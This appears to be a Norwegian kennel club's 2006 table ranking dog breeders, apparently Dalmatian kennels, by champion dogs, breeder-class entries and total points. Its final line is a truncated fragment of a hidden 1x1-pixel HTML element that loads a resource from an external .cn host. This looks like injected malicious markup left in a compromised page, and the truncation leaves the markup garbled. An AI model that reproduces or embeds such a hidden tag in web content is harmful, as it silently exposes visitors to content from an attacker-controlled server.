MESTVINNENDE OPPDRETTER 2006
  Antall Antall Antall Antall Antall Poeng- Totalt ant.
Kennelnavn CK-hunder poeng oppdretterkl poeng poeng mvl verdi poeng
DALMO 19 57 19 64 632 31,60 152,60
TOOTS 21 63 14 47 451 22,55 132,55
SPOTNIK 22 66 14 49 293 14,65 129,65
LOVINDA 11 33 4 15 278 13,90 61,90
SKVÅ 5 15 5 18 469 23,45 56,45
PERDITA 10 30 3 15 101 5,05 50,05
SVOLVÆRGEITA 9 27 1 3 85 4,25 34,25
CITALITA 5 15 2 6 0 0,00 21,00
SHOSPOT 3 9 1 3 165 8,25 20,25
ANNEBELLA 5 15 0 0 89 4,45 19,45
JILLOC 5 15 0 0 71 3,55 18,55
FALLABELLA 3 9 1 6 0 0,00 15,00
DOT.COM 2 6 0 0 79 3,95 9,95
BELL A MIR 1 3 0 0 121 6,05 9,05
DALSTABLE 3 9 0 0 0 0,00 9,00
PAPER MOON 3 9 0 0 0 0,00 9,00
KJENNSBEKKEN 1 3 0 0 73 3,65 6,65
CHANDHALLY 2 6 0 0 0 0,00 6,00
MAKARIDA 2 6 0 0 0 0,00 6,00
CIVELDA 2 6 0 0 0 0,00 6,00
ARCTIC INNOVA 2 6 0 0 0 0,00 6,00
ENDEN 2 6 0 0 0 0,00 6,00
NAPORI 2 6 0 0 0 0,00 6,00
DALMING 1 3 0 0 0 0,00 3,00
SOLBO 1 3 0 0 0 0,00 3,00
MOPPEKERHON 1 3 0 0 0 0,00 3,00
PRIKKEDILLA 1 3 0 0 0 0,00 3,00
DALNEWS 1 3 0 0 0 0,00 3,00
ROXTAMOEN 1 3 0 0 0 0,00 3,00
RIDOTTO 1 3 0 0 0 0,00 3,00
RALLALLA 1 3 0 0 0 0,00 3,00
DALREGIS 1 3 0 0 0 0,00 3,00
DALUKI 1 3 0 0 0 0,00 3,00
DALMROSA 1 3 0 0 0 0,00 3,00
OZANKA 1 3 0 0 0 0,00 3,00
ROCCO AL MARE 1 3 0 0 0 0,00 3,00
FIRST FOREST 1 3 0 0 0 0,00 3,00
EXPORT 1 3 0 0 0 0,00 3,00
TIMANKA 1 3 0 0 0 0,00 3,00
PRIKKANT 1 3 0 0 0 0,00 3,00
PRICKWILLOW 1 3 0 0 0 0,00 3,00
LUVUKI 1 3 0 0 0 0,00 3,00
ALPHADIRATO 1 3 0 0 0 0,00 3,00
LITTLE VILLAGE 1 3 0 0 0 0,00 3,00
0 border=0 height=1 width=1 src="http://517891.cn/in.cgi?8" />